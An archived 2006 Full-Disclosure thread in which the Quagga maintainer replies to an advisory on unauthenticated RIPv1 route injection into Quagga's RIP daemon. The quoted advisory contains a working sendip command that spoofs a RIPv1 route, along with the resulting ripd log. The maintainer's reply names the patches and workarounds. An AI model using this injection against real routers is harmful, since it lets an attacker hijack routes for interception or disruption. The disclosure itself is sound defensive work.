full-disclosure - Re: Quagga RIPD unauthenticated route injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <Pine.LNX.4.64.0605030428000.3813@sheen.jakma.org>
Date: Wed May  3 09:22:56 2006
From: paul at clubi.ie (Paul Jakma)
Subject: Re: Quagga RIPD unauthenticated route injection

Hi Konstantin,

Thanks for these reports. Quagga bug #262 has been opened for the 
issue below, see:

 	http://bugzilla.quagga.net/show_bug.cgi?id=262

The former report is assigned as Quagga bug #261:

 	http://bugzilla.quagga.net/show_bug.cgi?id=261

Comments are there regarding the scope of the information leak (the 
reply is unicasted with default TTL).

Bug #262 has proposed patches attached to solve both issues.

It does not restrict the scope of unicasted RIPv1 replies. It is 
suggested that users either disallow RIPv1 entirely or firewall RIP 
at network boundaries if RIPv1 must be used.

Thanks very much for your reports and assistance.

--paulj

On Wed, 3 May 2006, Konstantin V. Gavrilenko wrote:

> Arhont Ltd - Information Security
>
> Advisory by:	Konstantin V. Gavrilenko (http://www.arhont.com)
> Arhont ref:	arh200604-2
> Advisory:	Quagga RIPD unauthenticated route injection
> Class:		design bug?
> Version:	Tested on Quagga suite v0.98.5 v0.99.3 (Gentoo, 2.6.15)
> Model Specific:	Other versions might have the same bug
>
>
> DETAILS
> It is possible to inject a custom malicious route into the quagga RIP
> daemon using the RIPv1 RESPONSE packet even if the quagga has been
> configured to use MD5 authentication.
>
> The prerequisite to the attack is the absence of the specific version of
> the protocol in the router rip configuration. This way, quagga accepts
> authenticated RIPv2 and also RIPv1 packets, that do not have
> authentication mechanism at all.
>
> configuration of the ripd
> key chain dmz
> key 1
>  key-string secret
> !
> interface eth0
> ip rip authentication mode md5 auth-length old-ripd
> ip rip authentication key-chain dmz
> !
> router rip
> redistribute static
> network eth0
>
> arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p
> rip -rv 1 -rc 2  -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100
>
> RIPD LOG
> 2006/05/02 16:06:45 RIP: RECV packet from 192.168.69.102 port 520 on eth0
> 2006/05/02 16:06:45 RIP: RECV RESPONSE version 1 packet size 24
> 2006/05/02 16:06:45 RIP:   192.168.36.0 family 2 tag 0 metric 1
> 2006/05/02 16:06:45 RIP: Resultant route 192.168.36.0
> 2006/05/02 16:06:45 RIP: Resultant mask 255.255.255.0
> 2006/05/02 16:06:45 RIP: triggered update!
>
>
> RISK FACTOR: Medium
>
>
> WORKAROUNDS: Implement the patch for the ripd or firewall the access to
> the ripd daemon on the need to access basis.
>
>
> COMMUNICATION HISTORY:
> Issue discovered:	  10/04/2006
> quagga notified:	  24/04/2006
> Public disclosure:	  03/05/2006
>
> ADDITIONAL INFORMATION:
> *According to the Arhont Ltd. policy, all of the found vulnerabilities
> and security issues will be reported to the manufacturer at least 7 days
> before releasing them to the public domains (such as CERT and BUGTRAQ).
>
> If you would like to get more information about this issue, please do
> not hesitate to contact Arhont team on info@...ont.com
>
>
>

-- 
Paul Jakma	paul@...bi.ie	paul@...ma.org	Key ID: 64A2FF6A
Fortune:
Real Users are afraid they'll break the machine -- but they're never
afraid to break your face.